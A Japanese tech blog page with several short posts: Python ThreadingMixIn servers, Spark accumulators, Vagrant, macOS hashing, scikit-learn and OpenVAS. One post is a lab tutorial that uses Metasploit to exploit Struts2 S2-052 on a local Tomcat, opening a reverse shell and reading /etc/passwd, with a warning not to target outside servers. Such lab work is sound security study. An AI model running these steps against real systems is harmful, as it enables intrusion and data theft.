CUBE SUGAR CONTAINER

技術系のこと書きます。

Python: 組み込みのソケットサーバをマルチスレッド化する

今回は小ネタ。 Python の標準ライブラリには、いくつか組み込みで提供されるソケットサーバの実装がある。

例えば WSGI サーバのリファレンス実装とか。

21.4. wsgiref — WSGI ユーティリティとリファレンス実装 — Python 3.6.1 ドキュメント

HTTP サーバを動かすためのやつとか。

21.22. http.server — HTTP サーバ — Python 3.6.1 ドキュメント

ただ、上記には弱点があって、それはシングルスレッドの実装ということ。 そのため、デフォルトでは同時に複数のアクセスをさばくことができない。 これが要するにどういうことなのか、というのは次の記事なんかに書いた。

blog.amedama.jp

今回は、そのままだとシングルスレッドで動くソケットサーバをマルチスレッドにする方法について書く。

動作確認に使った環境は次の通り。 ただし、一応 Python 2.7 で動くことも確認はしている。

$ sw_vers
ProductName:    Mac OS X
ProductVersion: 10.12.6
BuildVersion:   16G29
$ python --version
Python 3.6.2

wsgiref.simple_server.WSGIServer

WSGIServer クラスは WSGI サーバのリファレンス実装で、簡単なテストなんかするのに便利。 ただ、実装がシングルスレッドなので、そのままでは同時に複数のアクセスをさばくことができない。 とはいえ、まずは本当に同時に複数のアクセスをさばけないのか確認してみよう。

確認には次のサンプルコードを用いる。 ここで登場する application() 関数が WSGI アプリケーションとなっている。 これは、一つのアクセスに対してレスポンスを返すのに 5 秒もかかるように意図的に作ってある。 それを wsgiref.simple_server.make_server() 関数で作成した WSGI サーバで動かすコードとなっている。 この関数はデフォルトで組み込みで用意されているシングルスレッド実装の WSGIServer クラスを使って起動する。

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import time

from wsgiref.simple_server import make_server


def application(_environ, start_response):
    """レスポンスを返すまでに大きくディレイが入る WSGI アプリケーション"""
    start_response('200 OK', [('Content-Type', 'text/plain')])

    # レスポンスが返るまで 5 秒かかる
    time.sleep(5)

    yield b'Hello, World!\n'


def main():
    # デフォルトではシングルスレッドの WSGIServer で立ち上がる
    server = make_server('localhost', 8000, application)
    server.serve_forever()


if __name__ == '__main__':
    main()

動作確認

シングルスレッド云々の前に、まずは上記がちゃんと動くか、というところから確認してみよう。 ファイルとして保存したら Python で実行する。

$ python wsgisinglethread.py

次に、別の端末から curl なんかを使ってアクセスすると、ちゃんと動くことが分かる。 もちろん、ディレイを入れた分だけレスポンスが返ってくるのにたっぷり時間がかかる。

$ curl http://localhost:8000
Hello, World!

実行時間を測る

ちゃんと動くことが分かったので、次は同時に複数のアクセスをさばけないことを確認してみよう。 今回は、時間を測るのにも Python を使うことにした。

Python の標準ライブラリにある HTTP クライアントは使うのがだるいので requests をインストールする。

$ pip install requests

次のようなベンチマーク用のファイルを用意する。

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import time
from concurrent.futures import ThreadPoolExecutor

import requests


def main():
    # HTTP リクエスト 2 件を並行実行するための準備をする
    executor = ThreadPoolExecutor(max_workers=2)
    parameters = ['http://localhost:8000' for _ in range(2)]

    # 並行実行に要した時間を測る
    t0 = time.time()
    list(executor.map(requests.get, parameters))
    t1 = time.time()

    print('duration: {sec} sec'.format(sec=(t1 - t0)))


if __name__ == '__main__':
    main()

先ほどのサーバを起動したまま、別の端末で実行する。 すると、処理が終わるのに 10 秒かかっており各リクエストが直列で処理されていることが分かる。

$ python benchmark.py
duration: 10.021423101425171 sec

ちなみに Jupyter Notebook を使っていれば %%time マジックコマンドが使えるので、時間を測るのにもっと楽ができる。

%%time
"""time マジックコマンドを使って実行時間を測る"""

# マルチスレッドで処理を実行するエグゼキュータを用意する
from concurrent.futures import ThreadPoolExecutor
executor = ThreadPoolExecutor(max_workers=2)

# HTTP リクエスト 2 件を並行実行する
import requests
parameters = ['http://localhost:8000' for _ in range(2)]
list(executor.map(requests.get, parameters))

実行すると、こんな感じ。

CPU times: user 7.46 ms, sys: 2.65 ms, total: 10.1 ms
Wall time: 10 s

測り終わったらサーバを動かしている端末は Ctrl-C で止めよう。

マルチスレッド化する

次にシングルスレッドの実装だった WSGIServer をマルチスレッド化してみる。 これには ThreadingMixIn を用いる。 詳しい原理については後ほど紹介する。

次のサンプルコードでは ThreadingMixIn を使って WSGIServer をマルチスレッド化している。 具体的には ThreadingMixInWSGIServer を多重継承したクラス ThreadedWSGIServer を作っている。 動かす WSGI アプリケーションについては先ほどと変わらない。

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import time

from wsgiref.simple_server import make_server
from wsgiref.simple_server import WSGIServer

try:
    # Python 3
    from socketserver import ThreadingMixIn
except ImportError:
    # Python 2
    from SocketServer import ThreadingMixIn


class ThreadedWSGIServer(ThreadingMixIn, WSGIServer):
    """マルチスレッド化した WSGIServer"""
    pass


def application(_environ, start_response):
    start_response('200 OK', [('Content-Type', 'text/plain')])

    # レスポンスが返るまで 5 秒かかる
    time.sleep(5)

    yield b'Hello, World!\n'


def main():
    server = make_server('localhost', 8000, application,
                         # マルチスレッド化した WSGIServer を使って起動する
                         server_class=ThreadedWSGIServer)
    server.serve_forever()


if __name__ == '__main__':
    main()

先ほどと同じように、起動したら処理時間を測ってみよう。

$ python wsgimultithread.py

結果は次の通り。 先ほどとは異なって処理が 5 秒で終わっている。 これはリクエストが直列ではなく並行で処理されたことを示している。

CPU times: user 6.81 ms, sys: 2.63 ms, total: 9.43 ms
Wall time: 5.01 s

このように ThreadingMixIn を多重継承することで WSGIServer はマルチスレッド化できる。

測定が終わったら、先ほどと同じように Ctrl-C でサーバを止める。

http.server.HTTPServer

同じように HTTPServer についても考えてみよう。 次のサンプルコードでは、先ほどと同じようにレスポンスまで 5 秒かかるハンドラをシングルスレッドの HTTPServer で動かしている。

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import time

try:
    # Python 3
    from http.server import BaseHTTPRequestHandler
    from http.server import HTTPServer
except ImportError:
    # Python 2
    from BaseHTTPServer import BaseHTTPRequestHandler
    from BaseHTTPServer import HTTPServer


class GreetingHandler(BaseHTTPRequestHandler):

    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-Type', 'text/plain')
        self.end_headers()

        # Content-Body の送信まで 5 秒のディレイが入る
        time.sleep(5)

        self.wfile.write(b'Hello, World!\r\n')


def main():
    server_address = ('localhost', 8000)
    # シングルスレッドな HTTPServer を使って起動する
    httpd = HTTPServer(server_address, GreetingHandler)
    httpd.serve_forever()


if __name__ == '__main__':
    main()

これまでと同じように、起動したら実行時間を測ってみよう。

$ python httpsinglethread.py

次のように 10 秒かかることが分かった。 やはり、リクエストが直列に処理されてしまっている。

CPU times: user 7.93 ms, sys: 3.16 ms, total: 11.1 ms
Wall time: 10 s

マルチスレッド化する

次に HTTPServer クラスをマルチスレッド化する。 やり方は、先ほどの WSGIServer と変わらない。 ThreadingMixIn と一緒に多重継承するだけ。

次のサンプルコードではマルチスレッド化した ThreadedHTTPServer で時間のかかるハンドラを動かしている。

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import time

try:
    # Python 3
    from http.server import BaseHTTPRequestHandler
    from http.server import HTTPServer
    from socketserver import ThreadingMixIn
except ImportError:
    # Python 2
    from BaseHTTPServer import BaseHTTPRequestHandler
    from BaseHTTPServer import HTTPServer
    from SocketServer import ThreadingMixIn


class GreetingHandler(BaseHTTPRequestHandler):

    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-Type', 'text/plain')
        self.end_headers()

        # Content-Body の送信まで 5 秒のディレイが入る
        time.sleep(5)

        self.wfile.write(b'Hello, World!\r\n')


class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
    """マルチスレッド化した HTTPServer"""
    pass


def main():
    server_address = ('localhost', 8000)
    # マルチスレッド化した HTTP サーバを使う
    httpd = ThreadedHTTPServer(server_address, GreetingHandler)
    httpd.serve_forever()


if __name__ == '__main__':
    main()

起動して、処理にかかる時間を測ってみよう。

$ python httpmultithread.py

次のように 5 秒で終わったことから、リクエストが並行処理されたことが分かる。

CPU times: user 7.1 ms, sys: 2.92 ms, total: 10 ms
Wall time: 5.01 s

ThreadingMixIn を使ったマルチスレッド化の原理について

それでは、次にどうして ThreadingMixIn を多重継承することで、前述した WSGIServerHTTPServer がマルチスレッド化できたのかについて見ていく。

まずは ThreadingMixIn のソースコードを確認すると process_request() というメソッドを実装していることが分かる。

https://github.com/python/cpython/blob/v3.6.2/Lib/socketserver.py#L645

上記のメソッドでは受け取った request を、新たに生成した threading.Thread で処理していることが読み取れる。 これが WSGIServerHTTPServerprocess_request() メソッドをオーバーライドしていたわけだ。

では process_request() は、どこで定義されているかというと、以下の BaseServer クラス内に見つかる。

https://github.com/python/cpython/blob/v3.6.2/Lib/socketserver.py#L157

次の場所に process_request() があって docstring にも、これは ForkingMixInThreadingMixIn で上書きされる、とある。

https://github.com/python/cpython/blob/v3.6.2/Lib/socketserver.py#L342

ForkingMixIn というのは初めて登場したけど、マルチプロセスを使った並列化をするのに使われるクラスのこと。

そして WSGIServerHTTPServerBaseServer を継承して作られている。 それぞれの process_request() メソッドを ThreadingMixIn がオーバーライドすることでマルチスレッド化されたわけだ。

>>> from socketserver import BaseServer
>>> from wsgiref.simple_server import WSGIServer
>>> issubclass(WSGIServer, BaseServer)
True
>>> from http.server import HTTPServer
>>> issubclass(HTTPServer, BaseServer)
True

これで ThreadingMixIn を使ってマルチスレッド化ができる理由がわかった。

まとめ

BaseServer を継承して作られた Python 組み込みのソケットサーバは ThreadingMixIn を多重継承することでマルチスレッド化できる。

Apache Spark でクラスタリングすると動かなくなるプログラムについて

今回は Apache Spark をスタンドアロンで使っていると上手くいくのに、クラスタリングした途端に上手くいかなくなる状況がある、ということについて。

スタンドアロンなら上手くいく場合

まずは Apache Spark のコマンドラインシェルを起動する。 この場合はシングルノードのスタンドアロンで動かしている。

$ $SPARK_HOME/bin/spark-shell

複数の値が格納された RDD を作る。

scala> val rdd = sc.parallelize(Array(1, 2, 3))
rdd: org.apache.spark.rdd.RDD[Int] = ParallelCollectionRDD[0] at parallelize at <console>:24

そして、それらに対して foreach() メソッドで println() 関数を適用してみる。

scala> rdd.foreach(println)
1
2
3

この場合、直感的にも正しく動作する。

クラスタリングすると動かなくなる

続いて YARN を使ってクラスタリングした状況でコマンドラインシェルを起動する。

$ $SPARK_HOME/bin/spark-shell --master yarn

先程と同じように複数の値が入った RDD を作る。

scala> val rdd = sc.parallelize(Array(1, 2, 3))
rdd: org.apache.spark.rdd.RDD[Int] = ParallelCollectionRDD[0] at parallelize at <console>:24

そして、同じように println() 関数を適用してみよう。 しかし、今度は何ら出力されない。

scala> rdd.foreach(println)

シングルノードとクラスタリングしたという違いだけで動作が変わっている。

上記は rdd.foreach(println) という処理がワーカーノードで実行されてしまっているために起きている。 もし、ドライバ上で実行したいときは、次のように一旦 collect() メソッドでドライバに値を集約して実行しなきゃいけない。

scala> rdd.collect().foreach(println)
1
2
3

ワーカーノードに渡されるのは変数のコピー

同じような例をもう一つ紹介する。 今度は RDD に含まれる値の数を数えてみよう。

scala> val rdd = sc.parallelize(Array(1, 2, 3))
rdd: org.apache.spark.rdd.RDD[Int] = ParallelCollectionRDD[1] at parallelize at <console>:24

値の数を数え上げるためのカウンタとなる変数を用意する。

scala> var counter = 0
counter: Int = 0

そして、foreach() メソッドで RDD の値を数え上げる。 直感的には counter 関数の値は RDD に含まれる数だけカウントアップされるように感じるはずだ。

scala> rdd.foreach(x => counter += x)

しかし、実際には変数は 0 のままでカウントアップされていない。

scala> println(counter)
0

こんなことが、どうして起こるのだろうか?

これは Apache Spark でクラスタリングしたとき、ワーカーノードに渡される変数が単なるコピーであることに由来している。 カウントアップの処理は、各ワーカーノード上でコピーの変数に対して実行されるためドライバ上のオリジナルには反映されない。

ワーカーと値を共有するにはアキュムレータを用いる

上記を意図通りに動かすにはカウンタとなる変数としてアキュムレータを使う必要があるようだ。

scala> val rdd = sc.parallelize(Array(1, 2, 3))
rdd: org.apache.spark.rdd.RDD[Int] = ParallelCollectionRDD[0] at parallelize at <console>:24
scala> val counter = sc.longAccumulator
counter: org.apache.spark.util.LongAccumulator = LongAccumulator(id: 1, name: None, value: 0)
scala> rdd.foreach(x => counter.add(x))
scala> counter.value
res4: Long = 6

参考

spark.apache.org

Sparkによる実践データ解析 ―大規模データのための機械学習事例集

Sparkによる実践データ解析 ―大規模データのための機械学習事例集

Vagrant Cloud から取得した Box のバージョンを更新する

今回は Vagrant Cloud からダウンロードしてきた Vagrant Box を更新する方法について。 それにしても、最近は自分で Vagrant Box を作っていた頃なんてすっかり今は昔という感じだ。

使った環境は次の通り。

$ sw_vers
ProductName:    Mac OS X
ProductVersion: 10.12.6
BuildVersion:   16G29
$ vagrant --version
Vagrant 1.9.7

まず、次のように Vagrant Cloud からダウンロードしてきた Box が登録されている状況を考える。 使っている Box は Ubuntu 公式の ubuntu/xenial64 だ。

$ vagrant box list
ubuntu/xenial64 (virtualbox, 20170803.0.0)

そして、Vagrant Cloud に登録されている Box は、定期的にバージョンアップすることがある。 そんなときは vagrant box update コマンドを使って更新しよう。 更新する Box は --box オプションで指定する。

$ vagrant box update --box ubuntu/xenial64
Checking for updates to 'ubuntu/xenial64'
Latest installed version: 20170803.0.0
Version constraints: > 20170803.0.0
Provider: virtualbox
Updating 'ubuntu/xenial64' with provider 'virtualbox' from version
'20170803.0.0' to '20170830.1.1'...
Loading metadata for box 'https://vagrantcloud.com/ubuntu/xenial64'
Adding box 'ubuntu/xenial64' (v20170830.1.1) for provider: virtualbox
Downloading: https://vagrantcloud.com/ubuntu/boxes/xenial64/versions/20170830.1.1/providers/virtualbox.box
Successfully added box 'ubuntu/xenial64' (v20170830.1.1) for 'virtualbox'!

これで、次のように更新された Box が得られる。

$ vagrant box list
ubuntu/xenial64 (virtualbox, 20170803.0.0)
ubuntu/xenial64 (virtualbox, 20170830.1.1)

ちなみに、更新したい Box を使っている Vagrantfile がカレントディレクトリにあるときはオプションを指定しなくても良い。

$ ls
Vagrantfile
$ vagrant box update
==> default: Checking for updates to 'ubuntu/xenial64'
    default: Latest installed version: 20170830.1.1
    default: Version constraints: 
    default: Provider: virtualbox
==> default: Updating 'ubuntu/xenial64' with provider 'virtualbox' from version
==> default: '20170830.1.1' to '20170914.2.0'...
==> default: Loading metadata for box 'https://vagrantcloud.com/ubuntu/xenial64'
==> default: Adding box 'ubuntu/xenial64' (v20170914.2.0) for provider: virtualbox
    default: Downloading: https://vagrantcloud.com/ubuntu/boxes/xenial64/versions/20170914.2.0/providers/virtualbox.box
==> default: Box download is resuming from prior download progress
==> default: Successfully added box 'ubuntu/xenial64' (v20170914.2.0) for 'virtualbox'!
$ vagrant box list
ubuntu/xenial64 (virtualbox, 20170803.0.0)
ubuntu/xenial64 (virtualbox, 20170830.1.1)
ubuntu/xenial64 (virtualbox, 20170914.2.0)

めでたしめでたし。

macOS: ファイルのハッシュ値を計算する

ファイルのハッシュ値を計算するのに macOS だと何を使うんだっけ?と毎回なるのでメモしておく。 GNU Linux で使い慣れた *sum コマンドを使おうとすると、そんなものないよ!と怒られてしまうので。

$ md5sum
zsh: command not found: md5sum
$ sha1sum
zsh: command not found: sha1sum

使った環境は次の通り。

$ sw_vers
ProductName:    Mac OS X
ProductVersion: 10.12.6
BuildVersion:   16G29

MD5

ファイルの MD5 のハッシュ値を計算したいときは md5 コマンドがデフォルトで入っているので、それを使う。

$ md5 ubuntu-16.04-server-amd64.iso
MD5 (ubuntu-16.04-server-amd64.iso) = 23e97cd5d4145d4105fbf29878534049

SHA1

同様に SHA1 のハッシュ値を計算したいときは shasum コマンドを使う。 SHA 系のアルゴリズムは全てこのコマンドで計算できるため -a オプションでアルゴリズムを指定する。

$ shasum -a 1 ubuntu-16.04-server-amd64.iso
70db69379816b91eb01559212ae474a36ecec9ef  ubuntu-16.04-server-amd64.iso

SHA2

前述した通り shasum コマンドは SHA2 のハッシュ値も計算できる。 SHA256 であれば -a オプションに 256 を、SHA512 なら 512 を指定すれば良い。

$ shasum -a 256 ubuntu-16.04-server-amd64.iso
b8b172cbdf04f5ff8adc8c2c1b4007ccf66f00fc6a324a6da6eba67de71746f6  ubuntu-16.04-server-amd64.iso
$ shasum -a 512 ubuntu-16.04-server-amd64.iso
64cc359f1fb23181ba402d69a9fe787b5063156531cf44090a74fa8b4892294ee0c7a55d50b2f1875149326371796c7943ce07f171a54c9b8d617391af688eaa  ubuntu-16.04-server-amd64.iso

コンピュータネットワークセキュリティ

コンピュータネットワークセキュリティ

Metasploit Framework でペネトレーションテストを実施する

Metasploit Framework というのはオープンソースのペネトレーションテストツール。 ペネトレーションテストというのは、実際にシステムに対して侵入を試みるなど Exploit を実行するテストを指している。 その成功可否によって、システムが脆弱性の影響を受けるのかが確認できる。 そのため Metasploit Framework には既知の様々な脆弱性に対する Exploit が収録されている。 今回は、このツールを Ubuntu 16.04 LTS にインストールして試してみる。

注意: 不正アクセスとなるため間違っても外部のサーバに対して実行しないこと

環境は次の通り。

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04.3 LTS
Release:    16.04
Codename:   xenial
$ uname -r
4.4.0-93-generic

インストール

Metasploit Framework のインストールは、次のようにインストールスクリプトを取得してきて実行するだけで良い。

$ curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
$ chmod 755 msfinstall
$ ./msfinstall
...(snip)...
W: --force-yes is deprecated, use one of the options starting with --allow instead.

どうやら最後に表示される Warning は、とりあえず無視しても大丈夫っぽい。

上記を実行すると Metasploit Framework のパッケージが入る。

$ sudo dpkg -l | grep -i metasploit-framework
ii  metasploit-framework                       4.16.5+20170906092721~1rapid7-1              amd64        The full stack of metasploit-framework

基本的な使い方

Metasploit Framework をインストールすると msfconsole コマンドが使えるようになる。 操作は、このコマンドで起動するシェル上で行う。

$ msfconsole

初回起動時には、次のようにデータベースのセットアップをするか聞かれるので y を入力しておく。

$ msfconsole

 ** Welcome to Metasploit Framework Initial Setup **
    Please answer a few questions to get started.


Would you like to use and setup a new database (recommended)? y

次のようにシェルが表示されれば正常に起動できている。

=[ metasploit v4.16.7-dev-                         ]
+ -- --=[ 1682 exploits - 964 auxiliary - 297 post        ]
+ -- --=[ 498 payloads - 40 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf >

操作方法としては、例えばまず search コマンドで使って収録されている Exploit を検索できる。

msf > search vsftpd

Matching Modules
================

   Name                                  Disclosure Date  Rank       Description
   ----                                  ---------------  ----       -----------
   exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  VSFTPD v2.3.4 Backdoor Command Execution

目当てのものが見つかったら use コマンドで選択する。

msf > use exploit/unix/ftp/vsftpd_234_backdoor

それぞれの Exploit には入力すべきオプションがある。 これは show options コマンドで確認できる。

msf exploit(vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  21               yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic

上記の例ではオプションの RHOST が必須にもかかわらずデフォルト値のない空欄になっている。

そこで RHOST の値を埋める。

msf exploit(vsftpd_234_backdoor) > set RHOST 192.168.33.11
RHOST => 192.168.56.11

あとは Exploit を実行するだけ。

msf exploit(vsftpd_234_backdoor) > exploit

以上が基本的な使い方の流れとなっている。

使い終わったら exit コマンドでシェルから抜ける。

msf > exit

実際に試してみる

今回は、先日巷をさわがせた Struts2 の脆弱性 S2-052 (CVE-2017-9805) を例に挙げてみる。

まずは Struts2 を動かすサーブレットコンテナとして Tomcat をインストールする。

$ sudo apt-get -y install tomcat

インストールすると、それだけでサービスが起動してくる。

$ sudo systemctl status tomcat7
● tomcat7.service - LSB: Start Tomcat.
   Loaded: loaded (/etc/init.d/tomcat7; bad; vendor preset: enabled)
   Active: active (running) since Tue 2017-09-12 10:45:40 UTC; 20s ago
     Docs: man:systemd-sysv-generator(8)
   CGroup: /system.slice/tomcat7.service
           └─5185 /usr/lib/jvm/default-java/bin/java -Djava.util.logging.config.

続いては、上記のサーブレットコンテナ上で脆弱性のある Struts2 の Web アプリケーションを動かす。 検証環境は、インターネットからアクセスできる範囲に作らないように注意しよう。

脆弱性を含んだ Struts2 のサンプルアプリケーションをダウンロードしてきてデプロイする。 今回の脆弱性は REST Plugin を使っているアプリケーションが影響を受けるので struts2-rest-showcase.war を使えば良い。

$ wget http://ftp.yz.yamagata-u.ac.jp/pub/network/apache/struts/2.5.12/struts-2.5.12-apps.zip
$ sudo apt-get -y install unzip
$ unzip struts-2.5.12-apps.zip
$ sudo cp struts-2.5.12/apps/struts2-rest-showcase.war /var/lib/tomcat7/webapps/

WAR ファイルが展開されていることを確認する。

$ ls /var/lib/tomcat7/webapps/
ROOT  struts2-rest-showcase  struts2-rest-showcase.war

これで準備が整った。 それでは msfconsole コマンドで Metasploit Framework のシェルを立ち上げよう。

$ msfconsole

今回の脆弱性に対応した Exploit の exploit/multi/http/struts2_rest_xstream を選択する。

msf > use exploit/multi/http/struts2_rest_xstream

オプションを確認すると Exploit の実行先として RHOST を設定する必要がありそうだ。

msf exploit(struts2_rest_xstream) > show options

Module options (exploit/multi/http/struts2_rest_xstream):

   Name       Current Setting                  Required  Description
   ----       ---------------                  --------  -----------
   Proxies                                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST                                       yes       The target address
   RPORT      8080                             yes       The target port (TCP)
   SRVHOST    0.0.0.0                          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT    8080                             yes       The local port to listen on.
   SSL        false                            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /struts2-rest-showcase/orders/3  yes       Path to Struts action
   URIPATH                                     no        The URI to use for this exploit (default is random)
   VHOST                                       no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   Unix (In-Memory)

今回は Exploit を受ける Struts2 のアプリケーションがローカルホストで動作しているのでループバックアドレスを指定する。

msf exploit(struts2_rest_xstream) > set RHOST 127.0.0.1
RHOST => 127.0.0.1

これで必要な設定が済んだ。 exploit コマンドで Exploit を実行しよう。

msf exploit(struts2_rest_xstream) > exploit

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP double handler on 127.0.0.1:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 1IeHfWRzrnKssQOS;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "1IeHfWRzrnKssQOS\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (127.0.0.1:4444 -> 127.0.0.1:46452) at 2017-09-12 10:54:09 +0000

上記で具体的に何をしているかというと、今回使った Exploit に関しては脆弱性を利用してバックドアを開いている。 そして、それに接続したコマンドラインシェルが立ち上がる、という動作になっている。

バックドアのシェル上で Linux のコマンドを打ち込むと、それに対する応答が返ってくる。

uname -a
Linux ubuntu-xenial 4.4.0-93-generic #116-Ubuntu SMP Fri Aug 11 21:17:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

バックドアのプロセスは Tomcat が動作しているプロセスの権限で動作する。 そのため、破壊的な変更を加えるには何らか別の特権昇格が必要かもしれない。 例えばホストをシャットダウンさせようとしても権限がないと言われる。

shutdown -h now
Failed to set wall message, ignoring: Interactive authentication required.
Failed to power off system via logind: Interactive authentication required.
Failed to start poweroff.target: Interactive authentication required.
See system logs and 'systemctl status poweroff.target' for details.
Failed to open /dev/initctl: Permission denied
Failed to talk to init daemon.

とはいえ、情報漏えいについては十分に有効なので致命的な脆弱性だ。

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...(省略)

まとめ

今回はオープンソースのペネトレーションテストツールである Metasploit Framework を使ってみた。 一つ注意すべき点としては Metasploit Framework で攻撃が成立しなかったから、という理由だけで安心しないこと。 本来は影響を受けるのに、何らかの設定の不備で成立しなかっただけに過ぎないという恐れは多いにある。 なので、脆弱性のバックグラウンドや具体的な原理、そして Exploit の内部的な動作までちゃんと理解した上で使う必要がある。 つまり、脆弱性について一通り調べ上げた上で、最終確認に使うための手段といった位置づけで捉えておくと良いんじゃないだろうか。

コンピュータネットワークセキュリティ

コンピュータネットワークセキュリティ

Python: scikit-learn のハイパーパラメータを GridSearchCV で最適化する

機械学習のアルゴリズムにおいて、人が調整する必要のあるパラメータのことをハイパーパラメータと呼ぶ。 これは自動では決められないので、色々な値を試したりして汎化性能が高くなるものを選ばなきゃいけない。 今回はハイパーパラメータを決めるのに scikit-learn に実装されている GridSearchCV という機能を使ってみる。 これを使うと、あらかじめいくつか候補を与えることで、その中から汎化性能が高くなるものを選んでくれる。

使った環境は次の通り。

$ sw_vers 
ProductName:    Mac OS X
ProductVersion: 10.12.6
BuildVersion:   16G29
$ python --version
Python 3.6.2

下準備

まずは必要なパッケージをインストールしておく。

$ pip install scikit-learn numpy scipy

サンプルコード

次のサンプルコードでは GridSearchCV を使って DecisionTreeClassifier の最適なハイパーパラメータを探索している。 DecisionTreeClassifier というのは決定木のアルゴリズムを使った分類器を指す。 データセットには、みんな大好きアイリス (あやめ) データセットを使った。

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from sklearn import datasets
from sklearn.tree import DecisionTreeClassifier
from sklearn.model_selection import GridSearchCV


def main():
    # アイリスデータセットを読み込む
    dataset = datasets.load_iris()

    # 教師データとラベルデータを取り出す
    features = dataset.data
    targets = dataset.target

    # 優れたハイパーパラメータを見つけたいモデル
    clf = DecisionTreeClassifier()

    # 試行するパラメータを羅列する
    params = {
        'max_depth': list(range(1, 20)),
        'criterion': ['gini', 'entropy'],
    }

    grid_search = GridSearchCV(clf,  # 分類器を渡す
                               param_grid=params,  # 試行してほしいパラメータを渡す
                               cv=10,  # 10-Fold CV で汎化性能を調べる
                               )

    # グリッドサーチで優れたハイパーパラメータを探す
    grid_search.fit(features, targets)

    print(grid_search.best_score_)  # 最も良かったスコア
    print(grid_search.best_params_)  # 上記を記録したパラメータの組み合わせ


if __name__ == '__main__':
    main()

説明はコメントでしてるけど、基本的には GridSearchCV に分類器とハイパーパラメータの候補を渡す。 その上でデータセットに対して学習 (fit) させると、最も汎化性能の高い組み合わせがメンバの best_params_ に入る。

実行してみる

上記のサンプルコードを適当な名前で保存したら実行してみよう。 すると、候補の中で最も高い汎化性能が得られるものは精度が 0.96 であることが分かる。 そして、そのときのパラメータは criterionginimax_depth3 ということが分かった。

$ python gridsearch.py
0.96
{'criterion': 'gini', 'max_depth': 3}

まとめ

scikit-learn でハイパーパラメータの調整をするときは GridSearchCV を使うと便利。

オープンソースの脆弱性スキャナ OpenVAS を使ってみる

今回はオープンソースの脆弱性スキャナである OpenVAS を使ってみることにする。 脆弱性スキャナというのは、ホストに既知の脆弱性が含まれないかどうかを自動でスキャンしてくれるツール。

注意: 脆弱性スキャンはポートスキャンやペネトレーションを含むため外部のサーバには実行しないこと

使った環境は次の通り。OS は Ubuntu 16.04 LTS にした。

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04.3 LTS
Release:    16.04
Codename:   xenial
$ uname -r
4.4.0-89-generic

セキュリティ用途だと Kali Linux を使うことも多いみたい。

インストール

Ubuntu で OpenVAS を使うには以下の PPA を追加する。 追加したらリポジトリの状態を更新しておく。

$ sudo add-apt-repository ppa:mrazavi/openvas
$ sudo apt-get update

現行の OpenVAS バージョン 9 をインストールするときはパッケージ名として openvas9 を指定する。

$ sudo apt-get -y install openvas9

ちなみにインストールの過程で脆弱性をテストするための情報を更新するために rsync プロトコルを使う。 ファイアウォールで阻まれる恐れもあるので TCP の 873 ポートで通信できるか、あらかじめ確認しておこう。

インストールできたら脆弱性のテストに使うデータを更新していく。 過去に見つかった脆弱性とテスト方法の情報をダウンロードしてくるので、これには結構長い時間がかかる。

$ sudo apt-get -y install sqlite3
$ sudo greenbone-nvt-sync
$ sudo greenbone-scapdata-sync
$ sudo greenbone-certdata-sync

更新が終わったら OpenVAS のサービスを起動する。

$ sudo systemctl start openvas-scanner
$ sudo systemctl enable openvas-scanner
$ sudo systemctl start openvas-manager
$ sudo systemctl enable openvas-manager

次に OpenVAS のデーモンの設定を初期化しておく。

$ sudo openvasmd --rebuild --progress

最後に、脆弱性のテストに使う admin ユーザのパスワードを更新しておこう。

$ sudo openvasmd --user=admin --new-password=admin_new_password

これは後述する WebUI などを操作するときに用いる。

脆弱性をスキャンする

以上で OpenVAS を使う準備が整った。

TCP の 4000 番ポートで GSA (Greebone Security Assistant) という WebUI が使えるようになっている。

$ ss -tl | grep 4000
LISTEN     0      32        :::4000                    :::*                    

適当なブラウザで GSA を開こう。

$ sudo apt-get -y install firefox
$ firefox https://localhost:4000

自己署名証明書の警告が出るけど、ひとまず無視して開くと次のようなログイン画面が現れる。

f:id:momijiame:20170809002938p:plain

先ほどの admin ユーザと設定したパスワードでログインすると、次のようなダッシュボードに遷移する。

f:id:momijiame:20170809003038p:plain

脆弱性スキャンを実行するために Tasks の画面に移動する。

f:id:momijiame:20170809003055p:plain

Task Wizard を開く。

f:id:momijiame:20170809003233p:plain

ここにスキャンしたいホストを入力する。 今回は自分自身 (ローカルホスト) に対して実行してみよう。

f:id:momijiame:20170809003300p:plain

あとは OpenVAS がポートスキャンやらペネトレーションテストを粛々と実行してくれるので気長に待つ。

しばらくすると、次のように Result の画面で実行結果が見られるようになる。

f:id:momijiame:20170809003342p:plain

